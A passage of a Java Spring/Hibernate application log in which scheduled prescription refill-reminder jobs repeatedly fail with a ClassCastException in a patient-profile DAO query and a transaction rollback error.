com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:10:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:10:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:15:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:15:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:15:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:15:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:15:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:15:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:15:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:15:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:15:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:15:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:15:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:20:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:20:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:20:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:20:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:20:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:20:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:20:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:20:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:20:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:20:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:20:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:25:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:25:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:25:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:25:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 17:25:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 17:25:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 17:25:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 17:25:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 17:25:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:25:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 17:25:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 17:30:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 17:30:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:30:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 17:30:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at 